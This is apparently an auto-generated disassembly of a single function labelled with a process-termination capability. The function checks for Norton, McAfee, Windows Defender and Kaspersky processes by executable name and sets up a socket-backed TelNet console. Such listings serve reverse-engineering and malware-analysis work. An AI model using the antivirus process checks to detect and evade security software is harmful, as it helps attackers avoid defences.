Function at 0x48d291
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x124
mov eax, dword [0x51f5d0]
xor eax, esp
mov dword [esp + 0x120], eax
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
lea edi, [esp + 0x16]
push 0x103
mov word [esp + 0x18], bx
stosw word es:[edi], ax
lea eax, [esp + 0x25]
push ebx
push eax
mov esi, ecx
mov byte [esp + 0x2c], bl
call fcn.004c05d0
add esp, 0xc
mov edx, esi
call fcn.00485754
test eax, eax
jne 0x48d604
push esi
mov ecx, 0x104
lea eax, [esp + 0x24]
call fcn.00485786
pop ecx
mov esi, 0x4f46a8
push esi
push eax
mov dword [esp + 0x20], ebx
call fcn.004bf910
test eax, eax
pop ecx
pop ecx
je 0x48d33e
push esi
lea eax, [esp + 0x14]
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
call fcn.004871eb
cmp eax, ebx
pop ecx
je 0x48d33e
push esi
lea eax, [esp + 0x14]
xor ecx, ecx
call fcn.004871eb
cmp eax, ebx
pop ecx
je 0x48d33e
push eax
call fcn.004c16c6
pop ecx
mov dword [esp + 0x18], eax
mov esi, 0x623750
mov eax, esi
call fcn.004856d7
push dword [ebp + 8]
lea ecx, [esp + 0x24]
push dword [esp + 0x1c]
call fcn.0048f2a5
mov edi, eax
cmp edi, 0xffffffff
pop ecx
pop ecx
mov dword [esp + 0x1c], edi
jne 0x48d416
call fcn.0040fdb5
test eax, eax
jne 0x48d604
call fcn.0045fba0
test eax, eax
jne 0x48d604
call fcn.0040ffd6
test eax, eax
je 0x48d394
inc dword [0x623870]
call fcn.00443a95
test eax, eax
je 0x48d604
push ebx
mov ecx, str.NAVAPSVC.EXE
call fcn.0040bb8b
test eax, eax
pop ecx
jle 0x48d3ba
push str.Norton_AntiVirus
mov eax, esi
jmp 0x48d3ff
push ebx
mov ecx, str.Mcshield.exe
call fcn.0040bb8b
test eax, eax
pop ecx
jle 0x48d3d1
push str.McAfee_AntiVirus
jmp 0x48d3b6
push ebx
mov ecx, str.MsMpEng.exe
call fcn.0040bb8b
test eax, eax
pop ecx
jle 0x48d3e8
push str.Windows_Defender
jmp 0x48d3b6
push ebx
mov ecx, str.Kavss.exe
call fcn.0040bb8b
test eax, eax
pop ecx
mov eax, esi
jle 0x48d40c
push str.Kaspersky_AntiVirus
push 0x20
pop ecx
call fcn.00485786
jmp 0x48d603
call fcn.004856d7
jmp 0x48d604
push ebx
push 1
push ebx
push 3
push 0xc0000000
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x10], ebx
jne 0x48d442
push edi
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
jmp 0x48d604
push 0x50
pop esi
mov word [esp + 0x14], si
mov word [esp + 0x16], 0xfb
push dword [esp + 0x14]
call fcn.0040d1b5
test eax, eax
pop ecx
jne 0x48d46e
push edi
call sub.WSOCK32.dll_closesocket
mov esi, ebx
call fcn.0041cc21
jmp 0x48d438
push 3
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 1
mov ebx, 0x1050
push ebx
call fcn.004bf452
mov edi, eax
test edi, edi
pop ecx
pop ecx
jne 0x48d4a5
push dword [esp + 0x1c]
call sub.WSOCK32.dll_closesocket
mov esi, dword [esp + 0x10]
jmp 0x48d467
push ebx
push 0
push edi
call fcn.004c05d0
mov eax, dword [esp + 0x1c]
and dword [edi + 0xaa8], 0
and dword [edi + 0xd2c], 0
mov dword [edi + 0x104], eax
mov eax, dword [esp + 0x28]
add esp, 0xc
mov dword [edi + 0xacc], eax
mov ebx, str..TelNet.c
lea eax, [edi + 0xb20]
push ebx
push eax
mov dword [edi + 0xe8], esi
mov dword [edi + 0xec], 0xfb
mov dword [edi + 0xd8], esi
mov dword [edi + 0xdc], 0x19
mov word [edi + 0x100], 7
call fcn.0041cee3
mov esi, str.A_TelNet_handle_had_to_be_forced_to_unlock___
lea eax, [edi + 0xb20]
call fcn.0041d0de
mov eax, 0xfa0
lea ecx, [edi + 0xb20]
call fcn.0041d107
lea eax, [edi + 0xd44]
push ebx
push eax
call fcn.0041cee3
lea ebx, [edi + 0xd44]
mov esi, str.A_TelNet_handles_CONSOLE_had_to_be_forced_to_unlock___
mov eax, ebx
call fcn.0041d0de
mov eax, 0xbb8
mov ecx, ebx
call fcn.0041d107
push 0x50
lea eax, [esp + 0x34]
push edi
push eax
call fcn.004452e1
add esp, 0x1c
test eax, eax
jne 0x48d57d
lea eax, [esp + 0x20]
push eax
push 0x50
pop ecx
mov eax, edi
call fcn.00485786
pop ecx
mov eax, dword [esp + 0x18]
xor ebx, ebx
mov dword [edi + 0x54], eax
mov esi, 0x61a80
mov dword [edi + 0xa80], ebx
mov dword [edi + 0xa84], ebx
lea eax, [esi + 1]
push eax
push 1
call fcn.004bf452
cmp eax, ebx
pop ecx
pop ecx
mov dword [edi + 0xa80], eax
je 0x48d5c5
lea eax, [esi + 1]
push eax
push 4
call fcn.004bf452
cmp eax, ebx
pop ecx
pop ecx
mov dword [edi + 0xa84], eax
jne 0x48d61b
mov eax, dword [edi + 0xa80]
shr esi, 1
cmp eax, ebx
je 0x48d5de
push eax
call fcn.004bf2a6
pop ecx
mov dword [edi + 0xa80], ebx
mov eax, dword [edi + 0xa84]
cmp eax, ebx
je 0x48d5f5
push eax
call fcn.004bf2a6
pop ecx
mov dword [edi + 0xa84], ebx
cmp esi, 0x9c40
jae 0x48d597
push edi
call fcn.0048d709
pop ecx
xor eax, eax
mov ecx, dword [esp + 0x12c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004bfeb5
mov esp, ebp
pop ebp
ret
mov dword [edi + 0xa8c], ebx
mov dword [edi + 0xa88], esi
mov dword [eax + esi*4 - 4], ebx
mov dword [edi + 0xd0], ebx
mov dword [edi + 0xd4], ebx
mov ebx, dword [0x623740]
test ebx, ebx
jne 0x48d64e
call fcn.0046e649
mov ebx, eax
mov dword [0x623740], ebx
push edi
call fcn.0046e6fb
pop ecx
mov eax, edi
call fcn.0048f12b
test eax, eax
jne 0x48d69a
push edi
call fcn.0048d709
mov ebx, edi
mov edi, dword [0x623740]
pop ecx
call fcn.0046e818
mov edi, dword [0x623740]
call fcn.0046ea19
test eax, eax
jg 0x48d604
mov esi, dword [0x623740]
call fcn.0046e6be
and dword [0x623740], 0
jmp 0x48d604
mov esi, edi
call fcn.0048d6d5
call fcn.0048c478
mov eax, edi
jmp 0x48d606